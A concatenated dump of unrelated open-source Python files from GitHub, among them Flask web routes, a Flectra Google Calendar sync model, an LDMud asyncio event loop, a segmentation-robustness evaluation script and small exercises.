{}'.format(redirect_url))\n return redirect(redirect_url)\n\n\n@admin.route('/addressbook')\ndef addressbook():\n return redirect(url_for('.contacts'))\n\n\n@admin.route('/contacts')\ndef contacts():\n contacts = Contact.query.order_by(Contact.name).all()\n return render_template('admin/contacts.jinja2', contacts=contacts)\n\n\n@admin.route('/contacts/')\ndef contact_by_name(name):\n nick = Nick.query.filter_by(name=name).first()\n contact = nick and nick.contact\n if not contact:\n abort(404)\n return render_template('admin/contact.jinja2', contact=contact)\n\n\n@admin.route('/delete/contact')\n@flask_login.login_required\ndef delete_contact():\n id = request.args.get('id')\n contact = Contact.query.get(id)\n db.session.delete(contact)\n db.session.commit()\n return redirect(url_for('.contacts'))\n\n\n@admin.route('/new/contact', methods=['GET', 'POST'])\ndef new_contact():\n if request.method == 'GET':\n contact = Contact()\n return render_template('admin/edit_contact.jinja2', contact=contact)\n\n if not flask_login.current_user.is_authenticated():\n return current_app.login_manager.unauthorized()\n\n contact = Contact()\n db.session.add(contact)\n return save_contact(contact)\n\n\n@admin.route('/edit/contact', methods=['GET', 'POST'])\ndef edit_contact():\n if request.method == 'GET':\n id = request.args.get('id')\n contact = Contact.query.get(id)\n return render_template('admin/edit_contact.jinja2', contact=contact)\n\n if not flask_login.current_user.is_authenticated():\n return current_app.login_manager.unauthorized()\n\n id = request.form.get('id')\n contact = Contact.query.get(id)\n return save_contact(contact)\n\n\ndef save_contact(contact):\n contact.name = request.form.get('name')\n contact.image = request.form.get('image')\n contact.url = request.form.get('url')\n\n for nick in contact.nicks:\n db.session.delete(nick)\n db.session.commit()\n\n contact.nicks = [Nick(name=nick.strip())\n for nick\n in request.form.get('nicks', '').split(',')\n if nick.strip()]\n\n contact.social = util.multiline_string_to_list(\n request.form.get('social'))\n\n if not contact.id:\n db.session.add(contact)\n db.session.commit()\n\n if contact.nicks:\n return redirect(\n url_for('.contact_by_name', name=contact.nicks[0].name))\n else:\n return redirect(url_for('.contacts'))\n\n\n@admin.route('/venues/')\ndef venue_by_slug(slug):\n venue = Venue.query.filter_by(slug=slug).first()\n if not venue:\n abort(404)\n current_app.logger.debug('rendering venue, location. %s, %s',\n venue, venue.location)\n posts = Post.query.filter_by(venue_id=venue.id).all()\n return render_template('admin/venue.jinja2', venue=venue, posts=posts)\n\n\n@admin.route('/venues')\ndef all_venues():\n venues = Venue.query.order_by(Venue.name).all()\n markers = [maps.Marker(v.location.get('latitude'),\n v.location.get('longitude'),\n 'dot-small-pink')\n for v in venues]\n\n organized = {}\n for venue in venues:\n region = venue.location.get('region')\n locality = venue.location.get('locality')\n if region and locality:\n organized.setdefault(region, {})\\\n .setdefault(locality, [])\\\n .append(venue)\n\n map_image = maps.get_map_image(600, 400, 13, markers)\n return render_template('admin/venues.jinja2', venues=venues,\n organized=organized, map_image=map_image)\n\n\n@admin.route('/new/venue', methods=['GET', 'POST'])\ndef new_venue():\n venue = Venue()\n if request.method == 'GET':\n return render_template('admin/edit_venue.jinja2', venue=venue)\n return save_venue(venue)\n\n\n@admin.route('/edit/venue', methods=['GET', 'POST'])\ndef edit_venue():\n id = request.args.get('id')\n venue = Venue.query.get(id)\n if request.method == 'GET':\n return render_template('admin/edit_venue.jinja2', venue=venue)\n return save_venue(venue)\n\n\n@admin.route('/delete/venue')\n@flask_login.login_required\ndef delete_venue():\n id = request.args.get('id')\n venue = Venue.query.get(id)\n db.session.delete(venue)\n db.session.commit()\n return redirect(url_for('.all_venues'))\n\n\ndef save_venue(venue):\n venue.name = request.form.get('name')\n venue.location = {\n 'latitude': float(request.form.get('latitude')),\n 'longitude': float(request.form.get('longitude')),\n }\n venue.update_slug(request.form.get('geocode'))\n\n if not venue.id:\n db.session.add(venue)\n db.session.commit()\n\n hooks.fire('venue-saved', venue, request.form)\n return redirect(url_for('.venue_by_slug', slug=venue.slug))\n\n\n@admin.route('/drafts')\n@flask_login.login_required\ndef all_drafts():\n posts = Post.query.filter_by(deleted=False, draft=True).all()\n return render_template('admin/drafts.jinja2', posts=posts)\n\n\n@admin.route('/mentions')\ndef mentions():\n mentions = Mention.query.order_by(Mention.published.desc()).limit(100)\n return render_template('admin/mentions.jinja2', mentions=mentions)\n","repo_name":"kylewm/redwind","sub_path":"redwind/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":31395,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"67"} +{"seq_id":"3263775926","text":"from flask import Flask, render_template\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef home():\r\n\r\n personagens = [\r\n {\r\n 'nome': 'bb-8',\r\n 'dano': 8,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/bdbd4929238821.5681474dec85b.png\"\r\n },\r\n {\r\n 'nome': 'poe-dameron',\r\n 'dano': 12,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/979ee129238821.5681474dea1d9.png\"\r\n },\r\n {\r\n 'nome': 'chewbacca',\r\n 'dano': 18,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/58c49c29238821.5681474de7f0d.png\"\r\n }\r\n ]\r\n\r\n viloes = [\r\n {\r\n 'nome': 'stormtrooper',\r\n 'dano': 8*2,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/3aba9f29238821.5681474de00fd.png\"\r\n },\r\n {\r\n 'nome': 'general-hux',\r\n 'dano': 8*2,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/b1829529238821.5681474ddea3a.png\"\r\n },\r\n {\r\n 'nome': 'kylo-ren',\r\n 'dano': 18 + 10,\r\n 'img': \"https://mir-s3-cdn-cf.behance.net/project_modules/1400_opt_1/40476d29238821.5681474de5dd0.png\"\r\n }\r\n ]\r\n\r\n armas = [\r\n {\r\n 'nome': 'luke-light',\r\n 'dano': 5,\r\n 'img': \"http://freevector.co/wp-content/uploads/2011/12/90347-lightsaber.png\"\r\n },\r\n {\r\n 'nome': 'han-blaster',\r\n 'dano': 7,\r\n 'img': \"https://cdn2.iconfinder.com/data/icons/star-wars-6/24/Laser-gun-512.png\"\r\n },\r\n {\r\n 'nome': 'anakin-light',\r\n 'dano': 9,\r\n 'img': \"https://th.bing.com/th/id/Re1b22b569b51ed18bbca8a3fc87b2d36?rik=8EszyVjaocMhJQ&riu=http%3a%2f%2ffreevector.co%2fwp-content%2fuploads%2f2013%2f09%2f90150-star-wars.png&ehk=9q65s74CaXrkvgz7EiaX5rboO5FQ3ynKaBB6bntriB4%3d&risl=&pid=ImgRaw\"\r\n }\r\n ]\r\n\r\n return render_template('index.html', personagens=personagens, viloes=viloes, armas=armas)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"jonathan-sarmento/calculadora-de-dano-v3.0","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42376010160","text":"import logging\nimport requests\nfrom flectra.addons.google_calendar.models.google_sync import google_calendar_token\nfrom datetime import timedelta\n\n\nfrom flectra import api, fields, models, _\nfrom flectra.exceptions import UserError\nfrom flectra.loglevels import exception_to_unicode\nfrom flectra.addons.google_account.models.google_service import GOOGLE_TOKEN_ENDPOINT\nfrom flectra.addons.google_calendar.utils.google_calendar import GoogleCalendarService, InvalidSyncToken\n\n_logger = logging.getLogger(__name__)\n\nclass User(models.Model):\n _inherit = 'res.users'\n\n google_calendar_rtoken = fields.Char('Refresh Token', copy=False, groups=\"base.group_system\")\n google_calendar_token = fields.Char('User token', copy=False, groups=\"base.group_system\")\n google_calendar_token_validity = fields.Datetime('Token Validity', copy=False)\n google_calendar_sync_token = fields.Char('Next Sync Token', copy=False)\n google_calendar_cal_id = fields.Char('Calendar ID', copy=False, help='Last Calendar ID who has been synchronized. If it is changed, we remove all links between GoogleID and Flectra Google Internal ID')\n\n def _set_auth_tokens(self, access_token, refresh_token, ttl):\n self.write({\n 'google_calendar_rtoken': refresh_token,\n 'google_calendar_token': access_token,\n 'google_calendar_token_validity': fields.Datetime.now() + timedelta(seconds=ttl) if ttl else False,\n })\n\n def _google_calendar_authenticated(self):\n return bool(self.sudo().google_calendar_rtoken)\n\n def _get_google_calendar_token(self):\n self.ensure_one()\n if self._is_google_calendar_valid():\n self._refresh_google_calendar_token()\n return self.google_calendar_token\n\n def _is_google_calendar_valid(self):\n return self.google_calendar_token_validity and self.google_calendar_token_validity < (fields.Datetime.now() + timedelta(minutes=1))\n\n def _refresh_google_calendar_token(self):\n # LUL TODO similar code exists in google_drive. Should be factorized in google_account\n self.ensure_one()\n get_param = self.env['ir.config_parameter'].sudo().get_param\n client_id = get_param('google_calendar_client_id')\n client_secret = get_param('google_calendar_client_secret')\n\n if not client_id or not client_secret:\n raise UserError(_(\"The account for the Google Calendar service is not configured.\"))\n\n headers = {\"content-type\": \"application/x-www-form-urlencoded\"}\n data = {\n 'refresh_token': self.google_calendar_rtoken,\n 'client_id': client_id,\n 'client_secret': client_secret,\n 'grant_type': 'refresh_token',\n }\n\n try:\n dummy, response, dummy = self.env['google.service']._do_request(GOOGLE_TOKEN_ENDPOINT, params=data, headers=headers, method='POST', preuri='')\n ttl = response.get('expires_in')\n self.write({\n 'google_calendar_token': response.get('access_token'),\n 'google_calendar_token_validity': fields.Datetime.now() + timedelta(seconds=ttl),\n })\n except requests.HTTPError as error:\n if error.response.status_code in (400, 401): # invalid grant or invalid client\n # Delete refresh token and make sure it's commited\n self.env.cr.rollback()\n self._set_auth_tokens(False, False, 0)\n self.env.cr.commit()\n error_key = error.response.json().get(\"error\", \"nc\")\n error_msg = _(\"Something went wrong during your token generation. Maybe your Authorization Code is invalid or already expired [%s]\", error_key)\n raise UserError(error_msg)\n\n def _sync_google_calendar(self, calendar_service: GoogleCalendarService):\n self.ensure_one()\n full_sync = not bool(self.google_calendar_sync_token)\n with google_calendar_token(self) as token:\n try:\n events, next_sync_token, default_reminders = calendar_service.get_events(self.google_calendar_sync_token, token=token)\n except InvalidSyncToken:\n events, next_sync_token, default_reminders = calendar_service.get_events(token=token)\n full_sync = True\n self.google_calendar_sync_token = next_sync_token\n\n # Google -> Flectra\n events.clear_type_ambiguity(self.env)\n recurrences = events.filter(lambda e: e.is_recurrence())\n synced_recurrences = self.env['calendar.recurrence']._sync_google2flectra(recurrences)\n synced_events = self.env['calendar.event']._sync_google2flectra(events - recurrences, default_reminders=default_reminders)\n\n # Flectra -> Google\n send_updates = not full_sync\n recurrences = self.env['calendar.recurrence']._get_records_to_sync(full_sync=full_sync)\n recurrences -= synced_recurrences\n recurrences.with_context(send_updates=send_updates)._sync_flectra2google(calendar_service)\n synced_events |= recurrences.calendar_event_ids - recurrences._get_outliers()\n synced_events |= synced_recurrences.calendar_event_ids - synced_recurrences._get_outliers()\n events = self.env['calendar.event']._get_records_to_sync(full_sync=full_sync)\n (events - synced_events).with_context(send_updates=send_updates)._sync_flectra2google(calendar_service)\n\n return bool(events | synced_events) or bool(recurrences | synced_recurrences)\n\n @api.model\n def _sync_all_google_calendar(self):\n \"\"\" Cron job \"\"\"\n users = self.env['res.users'].search([('google_calendar_rtoken', '!=', False)])\n google = GoogleCalendarService(self.env['google.service'])\n for user in users:\n _logger.info(\"Calendar Synchro - Starting synchronization for %s\", user)\n try:\n user.with_user(user).sudo()._sync_google_calendar(google)\n self.env.cr.commit()\n except Exception as e:\n _logger.exception(\"[%s] Calendar Synchro - Exception : %s !\", user, exception_to_unicode(e))\n self.env.cr.rollback()\n","repo_name":"flectra-hq/flectra","sub_path":"addons/google_calendar/models/res_users.py","file_name":"res_users.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"67"} +{"seq_id":"12495132316","text":"''' print increasing number\ninput 5\noutput 1,2,3,4,5\n'''\nclass Rec:\n def __init__(self,n):\n self.n = n\n self.printNumbers(self.n)\n\n def printNumbers(self,n):\n if n==0:\n return\n self.printNumbers(n - 1)\n print(n)\n\n\nrec = Rec(5)\n\n'''\nfast power calculation\n'''\nclass Power:\n def __init__(self,a,n):\n self.a = a\n self.n = n\n print(self.fast_power(self.a,self.n))\n\n def fast_power(self,a,n):\n if (n==0):\n return 1\n else:\n sub_problem = self.fast_power(a,n//2)\n sub_sq = sub_problem * sub_problem\n if (n%2 != 0):\n return a*sub_sq\n else:\n return sub_sq\n\npow = Power(2,5)\n\n\n\n","repo_name":"aryabiju37/DynamicProgramming","sub_path":"some_more_recursion.py","file_name":"some_more_recursion.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21757585250","text":"import torch\nimport sys\nimport argparse\nimport numpy as np\nimport os\nfrom tqdm import tqdm\nfrom PIL import Image\nimport json\nimport torchvision\nimport torch\n\nfrom models.deeplabv3plus.utils.metrics import Evaluator\nfrom models.deeplabv3plus.modeling.deeplab import *\nfrom utils.image_utils import load_image, save_image\nfrom utils.torch_utils import numpy_to_variable, variable_to_numpy\n\nimport pdb\n\n\n# python script_evaluate_segmentation_pytorch.py deeplabv3_resnet101 --dataset-dir /home/yantao/workspace/datasets/VOC2012_1000\n\n\nPICK_LIST = []\nBAN_LIST = []\n\n\ndef parse_args(args):\n parser = argparse.ArgumentParser(description=\"PyTorch DeeplabV3Plus Testing\")\n parser.add_argument('test_model', help='Model for testing AEs.', type=str)\n parser.add_argument('--dlv3p-backbone', type=str, default='resnet',\n choices=['resnet', 'xception', 'drn', 'mobilenet'],\n help='deeplabv3plus backbone name (default: resnet)')\n parser.add_argument('--dataset-dir', help='Dataset folder path.', \n default='/home/yantao/workspace/datasets/imagenet5000', type=str)\n return parser.parse_args(args)\n\ndef test(args):\n args_dic = vars(args)\n\n input_dir = os.path.join(args.dataset_dir, 'ori')\n\n if args.test_model == 'deeplabv3plus':\n args_dic['num_classes'] = 21\n model = DeepLab(\n num_classes=21,\n backbone=args.dlv3p_backbone,\n output_stride=8,\n sync_bn=False,\n freeze_bn=True\n )\n img_size = (513, 513)\n model = model.cuda()\n checkpoint = torch.load(args.pretrained_path)\n model.load_state_dict(checkpoint['state_dict'])\n model.eval()\n #img_transforms = None\n img_mean = [0.485, 0.456, 0.406]\n img_std = [0.229, 0.224, 0.225]\n img_transforms = torchvision.transforms.Compose([\n torchvision.transforms.Resize(img_size), \n torchvision.transforms.ToTensor(), \n torchvision.transforms.Normalize(mean=img_mean, std=img_std)])\n elif args.test_model == 'deeplabv3_resnet101':\n args_dic['num_classes'] = 21\n model = torchvision.models.segmentation.deeplabv3_resnet101(\n pretrained=True, \n progress=True, \n num_classes=21\n )\n model = model.cuda().eval()\n img_size = (1024, 1024) #(520, 520)\n img_mean = [0.485, 0.456, 0.406]\n img_std = [0.229, 0.224, 0.225]\n img_transforms = torchvision.transforms.Compose([\n torchvision.transforms.Resize(img_size), \n torchvision.transforms.ToTensor(), \n torchvision.transforms.Normalize(mean=img_mean, std=img_std)])\n elif args.test_model == 'fcn_resnet101':\n args_dic['num_classes'] = 21\n model = torchvision.models.segmentation.fcn_resnet101(\n pretrained=True, \n progress=True, \n num_classes=21\n )\n model = model.cuda().eval()\n img_size = (1024, 1024)\n img_mean = [0.485, 0.456, 0.406]\n img_std = [0.229, 0.224, 0.225]\n img_transforms = torchvision.transforms.Compose([\n torchvision.transforms.Resize(img_size), \n torchvision.transforms.ToTensor(), \n torchvision.transforms.Normalize(mean=img_mean, std=img_std)])\n\n else:\n raise ValueError(' ')\n\n evaluator = Evaluator(args.num_classes)\n\n test_folders = []\n for temp_folder in os.listdir(args.dataset_dir):\n if not os.path.isdir(os.path.join(args.dataset_dir, temp_folder)):\n continue \n if temp_folder == 'imagenet_val_5000' or temp_folder == 'ori' or temp_folder == '.git' or temp_folder == '_annotations' or temp_folder == '_segmentations':\n continue \n if len(PICK_LIST) != 0 and temp_folder not in PICK_LIST:\n continue\n if len(BAN_LIST) != 0 and temp_folder in BAN_LIST:\n continue\n test_folders.append(temp_folder)\n \n result_dict = {}\n for curt_folder in tqdm(test_folders):\n print('Folder : {0}'.format(curt_folder))\n evaluator.reset()\n for image_name in tqdm(os.listdir(input_dir)):\n temp_image_name_noext = os.path.splitext(image_name)[0]\n ori_img_path = os.path.join(input_dir, image_name)\n adv_img_path = os.path.join(args.dataset_dir, curt_folder, image_name)\n adv_img_path = os.path.splitext(adv_img_path)[0] + '.png'\n if img_transforms == None:\n image_ori_np = load_image(\n data_format='channels_first', \n shape=img_size, \n bounds=(0, 1), \n abs_path=True, \n fpath=ori_img_path\n )\n #Image.fromarray(np.transpose(image_ori_np * 255., (1, 2, 0)).astype(np.uint8)).save('ori.jpg')\n image_ori_var = numpy_to_variable(image_ori_np)\n with torch.no_grad():\n if args.test_model == 'deeplabv3plus':\n output_ori = model(image_ori_var)\n else:\n image_ori_var = img_transforms(Image.open(ori_img_path).convert('RGB')).unsqueeze_(axis=0).cuda()\n with torch.no_grad():\n if args.test_model == 'deeplabv3plus':\n output_ori = model(image_ori_var)\n else:\n output_ori = model(image_ori_var)['out']\n \n #Image.fromarray((output_ori[0].argmax(axis=0).cpu().numpy().astype(np.float32) / 21. * 255.).astype(np.uint8)).save('ori_fm.jpg')\n \n if img_transforms == None:\n image_adv_np = load_image(\n data_format='channels_first', \n shape=img_size, \n bounds=(0, 1), \n abs_path=True, \n fpath=adv_img_path\n )\n #Image.fromarray(np.transpose(image_adv_np * 255., (1, 2, 0)).astype(np.uint8)).save('temp_adv.jpg')\n image_adv_var = numpy_to_variable(image_adv_np)\n with torch.no_grad():\n if args.test_model == 'deeplabv3plus':\n output_adv = model(image_adv_var)\n else:\n image_adv_var = img_transforms(Image.open(adv_img_path).convert('RGB')).unsqueeze_(axis=0).cuda()\n with torch.no_grad():\n if args.test_model == 'deeplabv3plus':\n output_adv = model(image_adv_var)\n else:\n output_adv = model(image_adv_var)['out']\n \n #Image.fromarray((output_adv[0].argmax(axis=0).cpu().numpy().astype(np.float32) / 21. * 255.).astype(np.uint8)).save('adv_fm.jpg')\n\n pred_ori = output_ori.data.cpu().numpy()\n pred_ori = np.argmax(pred_ori, axis=1)\n pred_adv = output_adv.data.cpu().numpy()\n pred_adv = np.argmax(pred_adv, axis=1)\n\n evaluator.add_batch(pred_ori, pred_adv)\n\n try:\n Acc = evaluator.Pixel_Accuracy()\n Acc_class = evaluator.Pixel_Accuracy_Class()\n mIoU = evaluator.Mean_Intersection_over_Union()\n FWIoU = evaluator.Frequency_Weighted_Intersection_over_Union()\n except:\n Acc = 0.\n Acc_class = 0.\n mIoU = 0.\n FWIoU = 0.\n\n result_str = 'Acc : {0:.04f}, Acc_class : {1:.04f}, mIoU : {2:.04f}, FWIoU : {3:.04f}'.format(Acc, Acc_class, mIoU, FWIoU)\n print(curt_folder, ' : ', result_str)\n result_dict[curt_folder] = result_str\n\n with open('temp_seg_results_{0}.json'.format(args.test_model), 'w') as fout:\n json.dump(result_dict, fout, indent=2)\n \n\ndef main(args=None):\n # parse arguments\n if args is None:\n args = sys.argv[1:]\n args = parse_args(args)\n args_dic = vars(args)\n if args.dlv3p_backbone == 'resnet':\n args_dic['pretrained_path'] = 'models/deeplabv3plus/pretrained/deeplab-resnet.pth.tar'\n elif args.dlv3p_backbone == 'drn':\n args_dic['pretrained_path'] = 'models/deeplabv3plus/pretrained/deeplab-drn.pth.tar'\n elif args.dlv3p_backbone == 'mobile':\n args_dic['pretrained_path'] = 'models/deeplabv3plus/pretrained/deeplab-mobilenet.pth.tar'\n else:\n raise ValueError()\n\n test(args)\n\nif __name__ == \"__main__\":\n main()","repo_name":"jiayunhan/bbox_std","sub_path":"script_evaluate_segmentation_pytorch.py","file_name":"script_evaluate_segmentation_pytorch.py","file_ext":"py","file_size_in_byte":8460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12542694278","text":"import asyncio, collections, heapq, select, selectors, signal, threading\nimport ldmud\n\nclass LDMudSelector(selectors.BaseSelector):\n \"\"\"LDMud selector.\n\n This selector uses the LDMud backend loop to wait for a\n socket to become ready. The select function here will not wait,\n instead the select results will be passed directly to\n loop.run_select_event().\n \"\"\"\n\n class Mapping(collections.abc.Mapping):\n \"\"\"A mapping of file objects to selector keys.\n\n It uses the mapping of file descriptors to keys\n from the LDMudSelector to present a read-only\n mapping from file objects to selector keys.\n \"\"\"\n\n def __init__(self, filemap):\n self._filemap = filemap\n\n def __len__(self):\n return len(self._filemap)\n\n def __getitem__(self, fileobj):\n try:\n fd = LDMudSelector._get_fd_from_fileobj(fileobj)\n except:\n fd = -1\n\n if fd >= 0:\n return self._filemap[fd]\n\n # Search the map\n for key in self._filemap.values():\n if key.fileobj is fileobj:\n return key\n\n def __iter__(self):\n return iter(self._selector._fd_to_key)\n\n def __init__(self):\n self._filemap = {} # fd -> key\n\n def register(self, fileobj, events, data=None):\n key = selectors.SelectorKey(fileobj, self._get_fd_from_fileobj(fileobj), events, data)\n if key.fd in self._filemap:\n raise KeyError(\"File is already registered\")\n self._filemap[key.fd] = key\n\n def callback(cbmask):\n cbevents = 0\n if cbmask & select.POLLIN:\n cbevents |= selectors.EVENT_READ\n if cbmask & select.POLLOUT:\n cbevents |= selectors.EVENT_WRITE\n asyncio.get_event_loop().run_select_event(key, cbevents & key.events)\n\n mask = 0\n if events & selectors.EVENT_READ:\n mask |= select.POLLIN\n if events & selectors.EVENT_WRITE:\n mask |= select.POLLOUT\n\n ldmud.register_socket(key.fd, callback, mask)\n\n def unregister(self, fileobj):\n key = self.get_key(fileobj)\n del self._filemap[key.fd]\n ldmud.unregister_socket(key.fd)\n return key\n\n def select(self, timeout=None):\n return []\n\n def close(self):\n for key in self._filemap.values():\n self.unregister(self, key.fileobj)\n\n def get_map(self):\n return LDMudSelector.Mapping(self._filemap)\n\n @staticmethod\n def _get_fd_from_fileobj(fileobj):\n \"\"\"Returns the file descriptor for a file object.\n\n The file object needs either to be an integer (the descriptor itself)\n or have a fileno() function that returns the descriptor.\n \"\"\"\n if isinstance(fileobj, int):\n return fileobj\n else:\n return int(fileobj.fileno())\n\nclass LDMudEventLoop(asyncio.SelectorEventLoop):\n \"\"\"LDMud event loop.\n\n Event loop representing the LDMud backend loop.\n \"\"\"\n\n def __init__(self):\n super().__init__(selector = LDMudSelector())\n self._thread_id = threading.get_ident()\n self._clock_resolution = 1\n self._sigchld_handler_handle = None\n self._running = False\n asyncio._set_running_loop(self)\n\n ldmud.register_hook(ldmud.ON_HEARTBEAT, self._heart_beat)\n ldmud.register_hook(ldmud.ON_CHILD_PROCESS_TERMINATED, self._signal_handler)\n\n def _heart_beat(self):\n \"\"\"Called from LDMud upon each heart beat.\n\n Check all pending timers and execute any expired timers.\n \"\"\"\n self.run_ready()\n\n # If half of the timers are cancelled, clean the queue.\n if 2 * self._timer_cancelled_count > len(self._scheduled):\n active_timers = []\n for timer in self._scheduled:\n if timer._cancelled:\n timer._scheduled = False\n else:\n active_timers.append(timer)\n heapq.heapify(active_timers)\n self._scheduled = active_timers\n self._timer_cancelled_count = 0\n\n # Now execute any expired timers.\n now = self.time()\n while self._scheduled:\n if self._scheduled[0]._cancelled:\n timer = heapq.heappop(self._scheduled)\n timer._scheduled = False\n self._timer_cancelled_count -= 1\n continue\n\n if self._scheduled[0]._when > now:\n break\n\n timer = heapq.heappop(self._scheduled)\n timer._scheduled = False\n timer._run()\n self.run_ready()\n\n def run_forever(self):\n raise RuntimeError(\"The LDMud backend loop runs automatically.\")\n\n def run_until_complete(self, future):\n raise RuntimeError(\"The LDMud backend loop runs automatically.\")\n\n def stop(self):\n raise RuntimeError(\"To stop the LDMud backend loop you need to call the efun shutdown().\")\n\n def close(self):\n pass\n\n def _signal_handler(self):\n \"\"\"LDMud received a SIGCHLD.\n\n If there is a registered handler, call it.\n \"\"\"\n if self._sigchld_handler_handle is None:\n return\n if self._sigchld_handler_handle._cancelled:\n self._sigchld_handler_handle = None\n return\n\n self._add_callback(self._sigchld_handler_handle)\n self.run_ready()\n\n def add_signal_handler(self, sig, callback, *args):\n if sig != signal.SIGCHLD:\n raise RuntimeError(\"Only signal handlers for SIDCHLD are supported.\")\n self._sigchld_handler_handle = asyncio.Handle(callback, args, self, None)\n\n def remove_signal_handler(self, sig):\n if sig != signal.SIGCHLD:\n raise RuntimeError(\"Only signal handlers for SIDCHLD are supported.\")\n self._sigchld_handler_handle = None\n\n def run_ready(self):\n \"\"\"Run all tasks in the _ready list.\"\"\"\n\n # Prevent reentrant calls.\n if self._running:\n return\n self._running = True\n try:\n while len(self._ready):\n handle = self._ready.popleft()\n if handle._cancelled:\n continue\n if self._debug:\n try:\n self._current_handle = handle\n t0 = self.time()\n handle._run()\n dt = self.time() - t0\n if dt >= self.slow_callback_duration:\n logger.warning('Executing %s took %.3f seconds',\n _format_handle(handle), dt)\n finally:\n self._current_handle = None\n else:\n handle._run()\n finally:\n self._running = False\n\n def run_select_event(self, key, event):\n \"\"\"Run the task associated with the given selector key.\"\"\"\n self._process_events(((key, event,),))\n self.run_ready()\n\nclass LDMudDefaultEventLoopPolicy(asyncio.AbstractEventLoopPolicy):\n \"\"\"Event loop policy for LDMud.\n\n We have only one thread, there we have only one loop\n which is the LDMud backend loop. There is currently no\n support for watching child processes.\n \"\"\"\n\n _loop_factory = LDMudEventLoop\n\n def __init__(self):\n self._loop = None\n self._watcher = None\n self._set_called = False\n\n def get_event_loop(self):\n if self._loop is None and not self._set_called:\n self.set_event_loop(self.new_event_loop())\n\n return self._loop\n\n def set_event_loop(self, loop):\n assert loop is None or isinstance(loop, asyncio.AbstractEventLoop)\n\n self._set_called = True\n self._loop = loop\n if self._watcher:\n self._watcher.attach_loop(loop)\n\n def new_event_loop(self):\n return self._loop_factory()\n\n def get_child_watcher(self):\n if self._watcher is None:\n self._watcher = asyncio.SafeChildWatcher()\n if self._loop:\n self._watcher.attach_loop(self._loop)\n\n return self._watcher\n\n def set_child_watcher(self, watcher):\n assert watcher is None or isinstance(watcher, AbstractChildWatcher)\n\n if self._watcher is not None:\n self._watcher.close()\n\n self._watcher = watcher\n\n# Keep all task executed via run() alive.\n_current_tasks = set()\ndef _unregister_task(task):\n _current_tasks.discard(task)\n\ndef _register_task(task):\n _current_tasks.add(task)\n task.add_done_callback(_unregister_task)\n\ndef run(func):\n \"\"\"Execute the given asynchronous function.\"\"\"\n future = asyncio.ensure_future(func)\n _register_task(future)\n\n asyncio.get_event_loop().run_ready()\n\nasyncio.SelectorEventLoop = LDMudEventLoop\nasyncio.DefaultEventLoopPolicy = LDMudDefaultEventLoopPolicy\nasyncio.run = run\n\n# We don't export anything, just monkey patch asyncio.\n__all__ = []\n","repo_name":"ldmud/python-asyncio","sub_path":"ldmud_asyncio/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8195748357","text":"THUMBS_UP, THUMBS_DOWN = '👍', '👎'\r\n\r\n\r\nclass Thumbs:\r\n def __mul__(self, rhs):\r\n count = rhs\r\n if count == 0:\r\n raise ValueError('Specify a number')\r\n thumb = THUMBS_UP if count > 0 else THUMBS_DOWN\r\n count = abs(count)\r\n return f'{thumb} ({count}x)' if count >=4 else thumb * count \r\n \r\n def __rmul__(self, rhs):\r\n return self.__mul__(rhs)","repo_name":"slipsnip/bitesofpy","sub_path":"230/thumbs.py","file_name":"thumbs.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27562788027","text":"import numpy as np\nimport pandas as pd\nimport cv2\nfrom sklearn.preprocessing import StandardScaler\n\ndata = cv2.imread(\"3.png\")\nm,n,d = data.shape\nresize_percent = 0.25\nnew_x = int(n*resize_percent)\nnew_y = int(m*resize_percent)\ndata = cv2.resize(data,(new_x,new_y),interpolation=cv2.INTER_AREA)\nm,n,d = data.shape\n\ndata = np.reshape(data,(m*n,3))\n\n\nsc = StandardScaler()\nx_train = sc.fit_transform(data)\n\nprint(np.shape(x_train))\n\np = np.reshape(x_train,(m,n,3))\nfor channel in range(0,2):\n\tc = p[:,:,channel]\n\tc = np.absolute(c-np.mean(c))\n\tp[:,:,channel] = c\n\npc0 = p[:,:,0]\npc1 = p[:,:,1]\npc2 = p[:,:,2]\n\n\n\ncv2.imshow('pc0',pc0)\ncv2.imshow('pc1',pc1)\ncv2.imshow('pc2',pc2)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n","repo_name":"AlexGokan/PARTIEEE_Software_2019","sub_path":"pca_image.py","file_name":"pca_image.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27418004231","text":"\n# Install librarys\nimport os\nimport sys\nimport sparknlp\nfrom sparknlp.base import *\nfrom sparknlp.common import *\nfrom sparknlp.annotator import *\nfrom pyspark.ml import Pipeline\nfrom pyspark.sql import SparkSession\nfrom sparknlp.annotator import (Tokenizer,WordEmbeddingsModel,Word2VecModel)\nfrom pyspark.ml.feature import CountVectorizer, HashingTF, IDF, OneHotEncoder, StringIndexer, VectorAssembler, SQLTransformer\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\nimport pandas as pd\n\n# Start Spark\n#spark = sparknlp.start()\nspark =SparkSession.builder .master(\"local[4]\") .config(\"spark.driver.memory\", \"16G\") .config(\"spark.driver.maxResultSize\", \"0\") .config(\"spark.serializer\", \"org.apache.spark.serializer.KryoSerializer\") 